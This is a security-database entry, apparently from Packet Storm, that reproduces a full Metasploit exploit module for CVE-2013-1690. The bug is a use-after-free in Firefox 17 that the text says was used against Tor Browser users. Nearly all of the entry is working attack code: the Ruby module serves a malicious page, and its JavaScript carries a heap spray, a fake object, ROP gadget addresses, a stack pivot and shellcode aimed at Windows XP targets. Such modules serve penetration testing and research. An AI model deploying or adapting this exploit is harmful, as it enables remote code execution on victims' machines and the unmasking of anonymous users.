Firefox onreadystatechange Event DocumentViewerImpl Use After Free

2013-08-0800:00:00
webDEViL
packetstormsecurity.com
0.039 Low
EPSS
Percentile
91.0%
JSON
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',  
'Description' => %q{  
This module exploits a vulnerability found on Firefox 17.0.6, specifically an use  
after free of a DocumentViewerImpl object, triggered via an specially crafted web  
page using onreadystatechange events and the window.stop() API, as exploited in the  
wild on 2013 August to target Tor Browser users.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nils', # vulnerability discovery  
'Unknown', # 1day exploit, prolly the FBI  
'w3bd3vil', # 1day analysis  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-1690' ],  
[ 'OSVDB', '94584'],  
[ 'BID', '60778'],  
[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],  
[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],  
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],  
[ 'URL', 'http://krash.in/ffn0day.txt' ],  
[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Firefox 17 & Firefox 21 / Windows XP SP3',  
{  
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory  
'RetGadget' => 0x77c3ee16, # ret from msvcrt  
'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP  
'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory  
}  
]  
],  
'DisclosureDate' => 'Jun 25 2013',  
'DefaultTarget' => 0))  
  
end  
  
def stack_pivot  
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
return pivot  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
vprint_status("Agent: #{agent}")  
  
if agent !~ /Windows NT 5\.1/  
print_error("Windows XP not found, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource  
  
# build html  
code = [  
target['VFuncPtr'],  
target['RetGadget'],  
target['StackPivot'],  
junk  
].pack("V*")  
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})  
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))  
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))  
  
content = <<-HTML  
<html>  
<body>  
<iframe src="#{my_uri}/iframe.html"></iframe>  
</body></html>  
HTML  
  
# build iframe  
iframe = <<-IFRAME  
<script>  
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";  
var test = new Array();  
var heap_chunks;  
function heapSpray(shellcode, fillsled) {  
var chunk_size, headersize, fillsled_len, code;  
var i, codewithnum;  
chunk_size = 0x40000;  
headersize = 0x10;  
fillsled_len = chunk_size - (headersize + shellcode.length);  
while (fillsled.length <fillsled_len)  
fillsled += fillsled;  
fillsled = fillsled.substring(0, fillsled_len);  
code = shellcode + fillsled;  
heap_chunks = new Array();  
for (i = 0; i<1000; i++)  
{  
codewithnum = "HERE" + code;  
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);  
}  
}  
  
  
function b() {  
for(var c=0;1024>c;c++) {  
test[c]=new ArrayBuffer(180);  
bufView = new Uint32Array(test[c]);  
for (var i=0; i < 45; i++) {  
bufView[i] = #{target['FakeObject']};  
}  
}  
}  
  
function a() {  
window.stop();  
var myshellcode = unescape("#{js_code}");  
var myfillsled = unescape("#{js_random}");  
heapSpray(myshellcode,myfillsled);  
b();  
window.parent.frames[0].frameElement.ownerDocument.write(z);  
}  
  
document.addEventListener("readystatechange",a,null);  
</script>  
IFRAME  
  
print_status("URI #{request.uri} requested...")  
  
if request.uri =~ /iframe\.html/  
print_status("Sending iframe HTML")  
send_response(cli, iframe, {'Content-Type'=>'text/html'})  
return  
end  
  
print_status("Sending HTML")  
send_response(cli, content, {'Content-Type'=>'text/html'})  
  
end  
  
end  
`
0.039 Low
EPSS
Percentile
91.0%
JSON
Related for PACKETSTORM:122750